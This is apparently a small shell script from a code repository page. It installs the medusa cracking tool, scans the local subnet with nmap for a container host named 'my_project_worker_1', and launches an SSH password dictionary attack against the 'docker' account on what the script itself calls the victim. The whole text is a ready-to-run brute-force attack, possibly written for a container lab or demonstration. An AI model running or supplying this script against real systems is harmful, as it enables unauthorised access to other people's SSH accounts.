You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

8 lines
383 B

sudo apt update
sudo apt upgrade -y
sudo apt install medusa -y
echo "Finding victim worker IP"
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/')
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()')
echo "Starting ssh brute force attack with medusa"
medusa -u docker -P dictionary.txt -h $worker1 -M ssh